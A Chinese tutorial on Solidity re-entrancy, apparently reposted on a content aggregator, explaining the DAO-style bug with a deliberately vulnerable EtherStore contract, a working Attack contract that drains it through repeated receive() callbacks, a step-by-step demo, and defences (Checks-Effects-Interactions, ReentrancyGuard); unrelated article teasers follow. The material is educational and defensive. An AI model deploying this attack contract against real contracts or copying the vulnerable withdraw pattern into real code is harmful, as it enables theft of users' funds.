Solidity 智能合约安全漏洞——普通重入攻击

news2024/12/24 1:44:11

普通重入攻击

重入攻击(Re-Entrancy) 一直是以太坊智能合约中最危险的漏洞之一,导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击,造成价值当时 6000 万美元的以太币被盗,直接导致以太坊主网硬分叉。

那么,什么是 Re-Entrancy 漏洞?它为何如此危险,如何防范,让我们一一深入解析。

Re-Entrancy 漏洞原理

Re-Entrancy 漏洞本质上是一个状态同步问题。当智能合约调用外部函数时,执行流会转移到被调用的合约。如果调用合约未能正确同步状态,就可能在转移执行流时被再次调用,从而重复执行相同的代码逻辑。

具体来说,攻击往往分两步:

1.被攻击的合约调用了攻击合约的外部函数,并转移了执行流。

2.在攻击合约函数中,利用某些技巧再次调用被攻击合约的漏洞函数。

由于 EVM 是单线程的,重新进入漏洞函数时,合约状态并未被正确更新,就像第一次调用一样。这样攻击者就能够多次重复执行一些代码逻辑,从而实现非预期的行为。典型的攻击模式是多次重复提取资金。
在这里插入图片描述

Re-Entrancy漏洞合约

以一个修改过的 WETH 合约为例:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查此合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●deposit 函数中,用户可以存入 ETH,得到的 WETH 记录在 balances 状态变量中。

●withdraw 函数中,用户可以提取 ETH,通过 call 低级调用转账给用户,此时执行流转移到用户合约。如果用户合约是一个恶意合约,它可以在默认的 receive 函数中再次回调 withdraw。由于余额未被更新,require 语句会通过检查,攻击合约就能多次重复提取 ETH。

攻击者可以部署一个恶意合约 Attack:

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // receive is called when EtherStore sends Ether to this contract.
    receive() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●attack 函数中攻击者先转入一定数量的 ETH,调用 etherStore.deposit 函数转移到目标合约 EtherStore 中,接下来调用 etherStore.withdraw 函数提取 ETH。这看似是一个常规的操作,但问题出现在下一个函数。

●receive 是合约接收 ETH 时默认执行的函数,它由 payable 关键字修饰,表明它可以接收发送来的 ETH(也可以使用 fallback 函数来实现同样的效果)。在函数内部,当目标合约中的余额满足条件(大于 1 ETH)时,会再次调用 withdraw 函数,即发起重入,由于目标合约中用户的余额是在最后一步才进行更新,因此 require(bal > 0); 条件依旧满足,也就可以继续把目标合约中的 ETH 转移走😨😨😨

Re-Entrancy 攻击演示

1.账户 0x5B3…dC4 部署 EtherStore 合约,合约地址为 0xd91…138

请添加图片描述

2.账户 Alice(0xAb8…cb2) 和账户 Bob(0x4B2…2db) 分别往目标合约中存入 1 ETH,此时合约锁定总资产为 2 ETH。

请添加图片描述

请添加图片描述

3.攻击者Eve(0x787…baB)部署 Attack 合约,在构造函数中填入目标合约的地址执行部署,生成的合约地址为 0x99C…96d。

请添加图片描述

4.攻击者Eve(0x787…baB) 支付 1 ETH 调用 attack 函数发起重入攻击,此时目标合约 EtherStore 中的资金会被全部转移到 Attack 合约中。

请添加图片描述

请添加图片描述

Attack 合约中余额为 3 ETH,而 EtherStore 合约中余额为 0,虽然 账户 Alice(0xAb8…cb2) 的余额显示为 1 ETH,但实际的资产已经被转移走了,只是一张空头支票而已。

防御措施

最直接有效的防御手段,就是遵循 Check-Effects-Interactions(CEI) 模式:

●首先——进行所有检查。

●然后——进行更改,例如更新余额。

●最后——调用另一个合约。

CEI 模式下无论执行流如何转移,余额都已被正确扣除,重入攻击将无法重复执行逻辑,因此推荐基于该方案构建合约逻辑:首先进行所有检查,然后更新余额并进行更改,然后才调用另一个合约。

function withdraw() public {
		// 1.check
    uint256 bal = balances[msg.sender];
    require(bal > 0);

		// 2.effects
    balances[msg.sender] = 0;

		// 3.interactions
    (bool sent,) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");
}

另一种防御是使用 ReentrancyGuard,OpenZeppelin 提供了 Guards 代码:

contract ReentrancyGuard {
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No reentrancy");
        locked = true;
        _;
        locked = false;
    }
}

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
    
    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
    
    // ...
}

它的作用就是在函数执行前先加一把锁,函数结束后释放锁,在发生重入时由于重新进入了该函数,此时锁还未释放,因此重入失败。

需要注意的是,ReentrancyGuard 在防范跨函数跨合约重入等复杂情况下有一定局限性,另外由于引入了额外的逻辑,gas 费也会有所增加,所以 Check-Effects-Interactions 依然是根本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于koa服务端脚手架搭建(文件加载器) --【elpis全栈项目笔记】

基于koa服务端脚手架(文件加载器) --【elpis-core】 前言: elpis-core 是一个项目文件加载器。基于一定的约定,将功能不同的代码分类放置到不同的目录下管理。适用于项目代码规范化、减少维护成本、沟通成本,易于扩展。(简易版的 …

AQS源码学习

一、park/unpark阻塞唤醒线程 LockSupport是JDK中用来实现线程阻塞和唤醒的工具。使用它可以在任何场合使线程阻塞,可以指定任何线程进行唤醒,并且不用担心阻塞和唤醒操作的顺序,但要注意连续多次唤醒的效果和一次唤醒是一样的。JDK并发包下…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

02-1:python入门基础Python变量与数据类型

一、Python 变量的定义 (一)定义方式 在 Python 中,变量的定义是通过赋值来实现的,其语法格式非常简洁直观,基本形式为 “变量名 值”。等号左边是你自定义的变量名,右边则是要赋给该变量的值。Python 是…

在Vue3中实现文件上传功能,结合后端API

随着现代Web应用程序的不断发展,文件上传成为了用户交互中不可或缺的一部分。在本篇博客中,我们将深入讨论如何在Vue3中实现一个文件上传功能,并与后端API进行交互。我们将使用Vue3的Composition API(setup语法糖)来构…

详细ECharts图例3添加鼠标单击事件的柱状图

<!DOCTYPE html><html><head><meta charset"UTF-8"><script src"js/echarts.js"></script> <!-- 确保路径正确 --><title>添加鼠标单击事件的柱状图</title></head><body><div id&q…

Redis Hash Tag 知识详解

一、Redis Hash Tag概述 Redis Hash Tag是Redis集群环境里用于控制数据分片的关键机制。在Redis集群中&#xff0c;数据依据键的哈希值来确定分片存储位置。Hash Tag能让用户指定键的特定部分作为哈希计算核心部分&#xff0c;进而使相关键存储于同一节点&#xff0c;这对处理…

Java 初学者的第一个 SpringBoot3.4.0 登录系统二

Java 初学者的第一个 SpringBoot3.4.0 登录系统二 SpringBoot 3.4.0 是 SpringBoot 的最新版本&#xff0c;是乐衷与新技术的 Java 初学者和程序员的选择。和 SpringBoot3.4.0 搭配的各种软件组件也是新的潮流。Java 通用代码生成器光&#xff0c;2.4.0 电音之王尝鲜版十支持新…

SSH客户端

SSH客户端 在VMware界面中操作虚拟机非常不友好&#xff0c;所以一般推荐使用专门的SSH客户端。市面上常见的有&#xff1a; Xshell&#xff1a;个人免费&#xff0c;商业收费&#xff0c;之前爆出过有隐藏后门。不推荐Finshell&#xff1a;基础功能免费&#xff0c;高级功能…

python小课堂(一)

基础语法 1 常量和表达式2 变量和类型2.1 变量是什么2.2 变量语法 3 变量的类型3.1 动态类型特性 4 注释4.1注释是什么 5 输入输出5.1 print的介绍5.2 input 6 运算符6.1 算术运算符在这里插入图片描述6.2 关系运算符6.3 逻辑运算符6.4赋值运算符 1 常量和表达式 在print()中可…

java中的方法的重载和重写、构造器

目录 方法的重载和重写、构造器1.java的修饰符&#xff1a;2.普通方法3.构造器&#xff08;也叫构造方法/构造函数&#xff09;4.方法的重载5.补充6.方法的重写7.类的执行顺序8.再看方法的重写 方法的重载和重写、构造器 1.java的修饰符&#xff1a; public修饰的代码&#xf…

Halcon例程代码解读:安全环检测(附源码|图像下载链接)

安全环检测核心思路与代码详解 项目目标 本项目的目标是检测图像中的安全环位置和方向。通过形状匹配技术&#xff0c;从一张模型图像中提取安全环的特征&#xff0c;并在后续图像中识别多个实例&#xff0c;完成检测和方向标定。 实现思路 安全环检测分为以下核心步骤&…

前端知识补充—HTML

1. HTML 1.1 什么是HTML HTML(Hyper Text Markup Language), 超⽂本标记语⾔ 超⽂本: ⽐⽂本要强⼤. 通过链接和交互式⽅式来组织和呈现信息的⽂本形式. 不仅仅有⽂本, 还可能包含图⽚, ⾳频, 或者⾃已经审阅过它的学者所加的评注、补充或脚注等等 标记语⾔: 由标签构成的语⾔…

springboot根据租户id动态指定数据源

代码地址 码云地址springboot根据租户id动态指定数据源: springboot根据租户id指定动态数据源,结合mybatismysql多数源下的事务管理 创建3个数据库和对应的表 sql脚本在下图位置 代码的执行顺序 先设置主数据库的数据源配置目标数据源和默认数据源有了主库的数据源&#xff…

powershell美化

powershell美化 写在前面 除了安装命令&#xff0c;其他都是测试命令&#xff0c;后续再写进配置文件 安装主题控件 安装主题oh-my-posh&#xff0c;powershell中执行 winget install JanDeDobbeleer.OhMyPosh -s winget oh-my-posh init pwsh | Invoke-Expression # 查看…

Docker监控新纪元:Prometheus引领高效容器监控革命

作者简介&#xff1a;我是团团儿&#xff0c;是一名专注于云计算领域的专业创作者&#xff0c;感谢大家的关注 •座右铭&#xff1a; 云端筑梦&#xff0c;数据为翼&#xff0c;探索无限可能&#xff0c;引领云计算新纪元 个人主页&#xff1a;团儿.-CSDN博客 目录 前言&…

arcgisPro将面要素转成CAD多段线

1、说明&#xff1a;正常使用【导出为CAD】工具&#xff0c;则导出的是CAD三维多线段&#xff0c;无法进行编辑操作、读取面积等。这是因为要素面中包含Z值&#xff0c;导出则为三维多线段数据。需要利用【复制要素】工具禁用M值和Z值&#xff0c;再导出为CAD&#xff0c;则得到…

R 语言 | 绘图的文字格式(绘制上标、下标、斜体、文字标注等)

1. 上下标 # 注意y轴标签文字 library(ggplot2) ggplot(mtcars, aes(mpg, cyl))geom_point()ylab(label bquote(O[3]~(ug / m^3)))2. 希腊字母&#xff0c;如alpha ggplot(mtcars, aes(mpg, cyl))geom_point()ylab(label bquote(O[3]~(ug / m^3)))ggtitle(expression(alpha))…

WebContainerapi 基础(Web IDE 技术探索 一)

前言 随着web技术的发展&#xff0c;在网页端直接运行node.js、实现微型操作系统已经不再是难事。今天介绍的 WebContainers就是一个基于浏览器的运行时&#xff0c;用于执行 Node.js 应用程序和操作系统命令&#xff0c;它完全运行在您的浏览器页面中&#xff0c;提供了文件系…

解决pytorch安装中的三个错误

查明已安装python版本为3.12.7后&#xff0c;创建虚拟环境。 报错内容&#xff1a;ArgumentError: one of the arguments -n/–name -p/–prefix is required 解决方式&#xff1a; 输入 conda create -n pytorch python3.8即可安装成功。 参考文章&#xff1a;https://blo…